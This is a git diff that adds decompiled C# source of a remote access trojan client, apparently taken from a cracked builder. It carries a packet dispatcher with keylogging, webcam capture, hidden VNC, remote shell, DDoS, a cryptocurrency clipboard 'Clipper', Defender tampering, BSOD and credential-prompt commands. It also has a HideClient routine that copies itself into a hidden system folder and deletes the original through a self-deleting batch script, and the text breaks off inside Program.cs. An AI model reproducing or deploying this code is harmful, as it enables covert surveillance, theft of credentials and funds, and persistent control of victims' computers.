this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString16 = unpack.GetAsString("Extension"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("FileSearch#" + asString16) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking FileSearch: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process FileSearch."); + return; + } + break; + case "StopProxy": { + try + { + HandlePacket.socksServer?.Stop(); + Pack pack = new Pack(); + pack.SetString("Packet", "Success"); + pack.SetString("Message", $"(From {Environment.UserName}): SOCKS5 proxy stopped"); + this.sillyclient.Send(pack.Pacc()); + return; + } + catch (Exception ex) + { + Pack pack = new Pack(); + pack.SetString("Packet", "Error"); + pack.SetString("Message", $"(From {Environment.UserName}): {ex.Message}"); + this.sillyclient.Send(pack.Pacc()); + return; + } + } + break; + case "Share": { + string asString17 = unpack.GetAsString("Host"); + string asString18 = unpack.GetAsString("Port"); + this.SendInfo($"Sharing client with {asString17}:{asString18}..."); + ShareClient.Clone(asString17, asString18); + this.SendSuccess("Sharing should be ready, ask your friend if he got the client"); + return; + } + break; + case "GetClipboard": { + this.cmd("GetClipboard"); + return; + } + break; + case "Reverse": { + this.cmd("Reverse"); + return; + } + break; + case "DLL_START": { + this.HandleDllStart(unpack); + return; + } + break; + case "Normal": { + this.cmd("Normal"); + return; + } + break; + case "ChangeIcons": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString19 = unpack.GetAsString("Image"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("ChangeIcons#" + asString19) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking ChangeIcons: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process ChangeIcons."); + return; + } + break; + case "regdisable": { + this.cmd("regdisable"); + return; + } + break; + case "HideMouse": { + this.cmd("HideMouse"); + return; + } + break; + case "Services": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Services", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "ProcessSpy": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("ProcessSpy", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "passprompt": { + this.cmd("passprompt"); + return; + } + break; + case "Clipboard": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString20 = unpack.GetAsString("Text"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("clipboard#" + asString20) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Clipboard: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Clipboard."); + return; + } + break; + case "Cat": { + this.cmd("Cat"); + return; + } + break; + case "Download": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Download", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "ShowTaskbar": { + this.cmd("ShowTaskbar"); + return; + } + break; + case "Update": { + Pack pack = new Pack(); + pack.SetString("Packet", "PluginMessage"); + pack.SetString("Message", $"(From {Environment.UserName}): Refreshing client..."); + this.sillyclient.Send(pack.Pacc()); + string path = Path.GetTempFileName() + ".bat"; + using (StreamWriter streamWriter = new StreamWriter(path)) + { + streamWriter.WriteLine("@echo off"); + streamWriter.WriteLine("timeout 3 > NUL"); + streamWriter.WriteLine($"START \"\" \"{Application.ExecutablePath}\""); + streamWriter.WriteLine("CD " + Path.GetTempPath()); + streamWriter.WriteLine($"DEL \"{Path.GetFileName(path)}\" /f /q"); + } + Process.Start(new ProcessStartInfo() + { + FileName = path, + CreateNoWindow = true, + ErrorDialog = false, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }); + Environment.Exit(0); + return; + } + break; + case "URC": { + this.cmd("URC"); + return; + } + break; + case "Lock": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + byte[] asByteArray = unpack.GetAsByteArray("Image"); + string asString21 = unpack.GetAsString("Text"); + string base64String = Convert.ToBase64String(asByteArray); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) $"Lock#{asString21}#{base64String}" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Lock: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Lock."); + return; + } + break; + case "Request2": { + this.cmd("Request2"); + return; + } + break; + case "Volume": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + int asInteger = unpack.GetAsInteger("Volume"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("Volume#" + asInteger.ToString()) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Volume: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Volume."); + return; + } + break; + case "Riot": { + this.cmd("riot"); + return; + } + break; + case "Screamer": { + this.cmd("Screamer"); + return; + } + break; + case "DDOSstop": { + this.cmd("DDOSstop"); + return; + } + break; + case "RC": { + this.cmd("RC"); + return; + } + break; + case "Ping": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) "Ping" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Ping: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Ping."); + return; + } + break; + case "Keylogger": { + this.cmd("Keylogger"); + return; + } + break; + case "taskdisable": { + this.cmd("taskdisable"); + return; + } + break; + case "NoSleep": { + this.cmd("nosleep"); + return; + } + break; + case "Request": { + this.cmd("Request"); + return; + } + break; + case "Upload": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Upload", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "SleepMode": { + this.cmd("sleepmode"); + return; + } + break; + case "Icons": { + this.cmd("Icons"); + return; + } + break; + case "PluginChunk": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("PluginHandler", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "Wifi": { + this.cmd("Wifi"); + return; + } + break; + case "PlayAudio": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string base64String = Convert.ToBase64String(unpack.GetAsByteArray("Audio")); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("playaudio#" + base64String) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking PlayAudio: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process PlayAudio."); + return; + } + break; + case "Telegram": { + this.cmd("telegram"); + return; + } + break; + case "Peter": { + this.cmd("peter"); + return; + } + break; + case "StopWebcam": { + this.cmd("StopWebcam"); + return; + } + break; + case "System": { + this.cmd("System"); + return; + } + break; + case "Webcam": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("Webcam#" + unpack.GetAsInteger("Cam").ToString()) + }); + Console.Write(unpack.GetAsInteger("Cam")); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking webcam: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process webcam."); + return; + } + break; + case "ClosePort": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString22 = unpack.GetAsString("Port"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("closeport#" + asString22) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking ClosePort: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process ClosePort."); + return; + } + break; + case "PasswordTask": { + this.cmd("PasswordTask"); + return; + } + break; + case "HideTaskbar": { + this.cmd("HideTaskbar"); + return; + } + break; + case "USB": { + this.cmd("usb"); + return; + } + break; + case "StopReport": { + this.cmd("stopreport"); + return; + } + break; + case "Unlock": { + this.cmd("Unlock"); + return; + } + break; + case "Trollcmd": { + this.cmd("Trollcmd"); + return; + } + break; + case "Mullvad": { + this.cmd("Mullvad"); + return; + } + break; + case "cmddisable": { + this.cmd("cmddisable"); + return; + } + break; + case "BSOD": { + this.cmd("BSOD"); + return; + } + break; + case "ShakeMouseStop": { + this.cmd("ShakeMouseStop"); + return; + } + break; + case "RemoteDesktop": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Remote", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "Startup": { + this.cmd("Startup"); + return; + } + break; + case "CustomGDI": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString23 = unpack.GetAsString("Image"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("CustomGDI#" + asString23) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking CustomGDI: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process CustomGDI."); + return; + } + break; + case "ChatMessage": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + byte[] asByteArray = unpack.GetAsByteArray("img"); + string asString24 = unpack.GetAsString("Message"); + string base64String = Convert.ToBase64String(asByteArray); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) $"ChatMessage#{asString24}#{base64String}" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking ChatMessage: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process ChatMessage."); + return; + } + break; + case "taskenable": { + this.cmd("taskenable"); + return; + } + break; + case "RDP": { + this.cmd("rdp"); + return; + } + break; + case "StopShell": { + this.cmd("StopShell"); + return; + } + break; + case "Steam": { + this.cmd("Steam"); + return; + } + break; + case "ShakeMouse": { + this.cmd("ShakeMouse"); + return; + } + break; + case "Shell": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("Shell#" + unpack.GetAsString("Command")) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking shell: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process shell."); + return; + } + break; + case "Geo": { + this.cmd("Geo"); + return; + } + break; + case "Survival": { + this.cmd("survival"); + return; + } + break; + case "DrawClose": { + this.cmd("drawclose"); + return; + } + break; + case "DDOS": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString25 = unpack.GetAsString("IP"); + string asString26 = unpack.GetAsString("Port"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) $"DDOS#{asString25}#{asString26}" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking DDOS: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process DDOS."); + return; + } + break; + case "StartSystemRecording": { + this.cmd("StartSystemRecording"); + return; + } + break; + case "MsgBox": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString27 = unpack.GetAsString("Message"); + string asString28 = unpack.GetAsString("Icon"); + string asString29 = unpack.GetAsString("Options"); + string asString30 = unpack.GetAsString("Title"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) $"MsgBox#{asString30}#{asString27}#{asString28}#{asString29}" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking MsgBox: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process MsgBox."); + return; + } + break; + case "Discord": { + this.cmd("discord"); + return; + } + break; + case "StopIcons": { + this.cmd("StopIcons"); + return; + } + break; + case "StopSystemRecording": { + this.cmd("StopSystemRecording"); + return; + } + break; + case "Hosts": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("Hosts#" + unpack.GetAsString("Content")) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Hosts: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Hosts."); + return; + } + break; + case "Empty": { + this.cmd("Empty"); + return; + } + break; + case "Anydesk": { + this.cmd("anydesk"); + return; + } + break; + case "Defender": { + this.cmd("defender"); + return; + } + break; + case "Crypto": { + this.cmd("crypto"); + return; + } + break; + case "HVNC": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("HVNC", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "Switch": { + this.cmd("Switch"); + return; + } + break; + case "Disconnect": { + Pack pack = new Pack(); + pack.SetString("Packet", "PluginMessage"); + pack.SetString("Message", $"(From {Environment.UserName}): Disconnected"); + this.sillyclient.Send(pack.Pacc()); + Environment.Exit(0); + return; + } + break; + case "unCustomGDI": { + this.cmd("uncustomgdi"); + return; + } + break; + case "BotKiller": { + this.cmd("BotKiller"); + return; + } + break; + case "Programs": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Programs", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "UnblockInput": { + this.cmd("UnblockInput"); + return; + } + break; + case "UploadPE": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("UploadPE", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "CommandPrompt": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("CommandPrompt#" + unpack.GetAsString("Command")) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking CommandPrompt: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process CommandPrompt."); + return; + } + break; + case "StopEmpty": { + this.cmd("StopEmpty"); + return; + } + break; + case "Epic": { + this.cmd("Epic"); + return; + } + break; + case "StartProxy": { + try + { + int port = unpack.GetAsInteger("Port"); + HandlePacket.socksServer?.Stop(); + HandlePacket.socksServer = new Socks5Server(); + Task.Run((Func)(() => HandlePacket.socksServer.Start(port))); + Pack pack = new Pack(); + pack.SetString("Packet", "Success"); + pack.SetString("Message", $"(From {Environment.UserName}): SOCKS5 proxy started on port {port.ToString()}"); + this.sillyclient.Send(pack.Pacc()); + return; + } + catch (Exception ex) + { + Pack pack = new Pack(); + pack.SetString("Packet", "Error"); + pack.SetString("Message", $"(From {Environment.UserName}): {ex.Message}"); + this.sillyclient.Send(pack.Pacc()); + return; + } + } + break; + case "StartShell": { + this.cmd("StartShell"); + return; + } + break; + case "BlockInput": { + this.cmd("BlockInput"); + return; + } + break; + case "Compiler": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString31 = unpack.GetAsString("Type"); + string asString32 = unpack.GetAsString("Code"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) $"Compiler#{asString31}#{asString32}" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Compiler: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Compiler."); + return; + } + break; + case "Melt": { + this.cmd("Melt"); + return; + } + break; + case "Manager": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Manager", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "UnLoopScreen": { + this.cmd("UnLoopScreen"); + return; + } + break; + case "Minimize": { + this.cmd("minimize"); + return; + } + break; + case "Shutdown": { + Pack pack = new Pack(); + pack.SetString("Packet", "PluginMessage"); + pack.SetString("Message", $"(From {Environment.UserName}): Shutdown in progress"); + this.sillyclient.Send(pack.Pacc()); + new Process() + { + StartInfo = new ProcessStartInfo() + { + FileName = "cmd", + Arguments = "/c Shutdown /s /f /t 00", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true + } + }.Start(); + return; + } + break; + case "Clipper": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString33 = unpack.GetAsString("BTC"); + string asString34 = unpack.GetAsString("ETH"); + string asString35 = unpack.GetAsString("LTC"); + string asString36 = unpack.GetAsString("XMR"); + string asString37 = unpack.GetAsString("SOLANA"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) $"Clipper#{asString33}#{asString34}#{asString35}#{asString36}#{asString37}" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Clipper: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Clipper."); + return; + } + break; + case "RunPlugin": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("PluginHandler", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "StopRecording": { + this.cmd("StopRecording"); + return; + } + break; + case "Preview": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) "Preview" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Ping: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Preview."); + return; + } + break; + } + if (!this._dllLoaded || this.asm == (Assembly)null) + Console.WriteLine("DLL or Command not loaded yet, cannot process command: " + asString1); + else + Console.WriteLine("Unknown packet type: " + asString1); + } + } + + + diff --git a/Client/HideClient.cs b/Client/HideClient.cs new file mode 100644 index 0000000..c3abd5b --- /dev/null +++ b/Client/HideClient.cs @@ -0,0 +1,120 @@ +// Decompiled with JetBrains decompiler +// Type: HideClient +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using Stuff; +using System; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Threading; + +#nullable disable +public static class HideClient +{ + public static void Execute() + { + string str1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "PlatformRuntime"); + string location = Assembly.GetExecutingAssembly().Location; + string str2 = Path.Combine(str1, Path.GetFileName(location)); + try + { + if (Path.GetDirectoryName(location).Equals(str1, StringComparison.OrdinalIgnoreCase)) + return; + if (!Directory.Exists(str1)) + { + Directory.CreateDirectory(str1); + new DirectoryInfo(str1).Attributes |= FileAttributes.Hidden | FileAttributes.System; + } + if (!File.Exists(str2) || !HideClient.FilesAreEqual(location, str2)) + { + File.Copy(location, str2, true); + File.SetAttributes(str2, FileAttributes.Hidden | FileAttributes.System); + } + string str3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Temp"); + if (!Directory.Exists(str3)) + Directory.CreateDirectory(str3); + string path = Path.Combine(str3, $"cleanup_{Helpers.Random()}.bat"); + using (StreamWriter streamWriter = new StreamWriter(path)) + { + streamWriter.WriteLine("@echo off"); + streamWriter.WriteLine("chcp 65001 > nul"); + streamWriter.WriteLine("timeout /t 2 /nobreak > nul"); + streamWriter.WriteLine(":RETRY"); + streamWriter.WriteLine($"if exist \"{location}\" ("); + streamWriter.WriteLine($" del /f /q \"{location}\" 2>nul"); + streamWriter.WriteLine($" if exist \"{location}\" ("); + streamWriter.WriteLine(" timeout /t 1 /nobreak > nul"); + streamWriter.WriteLine(" goto RETRY"); + streamWriter.WriteLine(" )"); + streamWriter.WriteLine(")"); + streamWriter.WriteLine($"start \"\" \"{str2}\""); + streamWriter.WriteLine("timeout /t 1 /nobreak > nul"); + streamWriter.WriteLine($"del /f /q \"{path}\" 2>nul"); + streamWriter.WriteLine("exit"); + } + Process.Start(new ProcessStartInfo() + { + FileName = path, + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }); + Thread.Sleep(500); + Environment.Exit(0); + } + catch (UnauthorizedAccessException ex) + { + HideClient.TryAlternativeLocation(); + } + catch (Exception ex) + { + } + } + + private static bool FilesAreEqual(string file1, string file2) + { + try + { + FileInfo fileInfo1 = new FileInfo(file1); + FileInfo fileInfo2 = new FileInfo(file2); + return fileInfo1.Length == fileInfo2.Length && fileInfo1.LastWriteTimeUtc == fileInfo2.LastWriteTimeUtc; + } + catch + { + return false; + } + } + + private static void TryAlternativeLocation() + { + try + { + string str1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "PlatformRuntime"); + string location = Assembly.GetExecutingAssembly().Location; + string str2 = Path.Combine(str1, Path.GetFileName(location)); + if (!Directory.Exists(str1)) + { + Directory.CreateDirectory(str1); + new DirectoryInfo(str1).Attributes |= FileAttributes.Hidden; + } + if (File.Exists(str2)) + return; + File.Copy(location, str2, true); + File.SetAttributes(str2, FileAttributes.Hidden); + Process.Start(new ProcessStartInfo() + { + FileName = str2, + UseShellExecute = false, + CreateNoWindow = true + }); + Thread.Sleep(500); + Environment.Exit(0); + } + catch + { + } + } +} diff --git a/Client/MutexControl.cs b/Client/MutexControl.cs new file mode 100644 index 0000000..f16a5f2 --- /dev/null +++ b/Client/MutexControl.cs @@ -0,0 +1,28 @@ +// Decompiled with JetBrains decompiler +// Type: MutexControl +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using System.Threading; + +#nullable disable +internal class MutexControl +{ + public static Mutex meow; + + public static bool CreateMutex() + { + bool createdNew; + MutexControl.meow = new Mutex(false, Config.Mutex, out createdNew); + return createdNew; + } + + public static void CloseMutex() + { + if (MutexControl.meow == null) + return; + MutexControl.meow.Close(); + MutexControl.meow = (Mutex) null; + } +} diff --git a/Client/Program.cs b/Client/Program.cs new file mode 100644 index 0000000..64aa442 --- /dev/null +++ b/Client/Program.cs @@ -0,0 +1,156 @@ +// Decompiled with JetBrains decompiler +// Type: Program +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using Microsoft.Win32; +using Stuff; +using System; +using System.Diagnostics; +using System.IO; +using 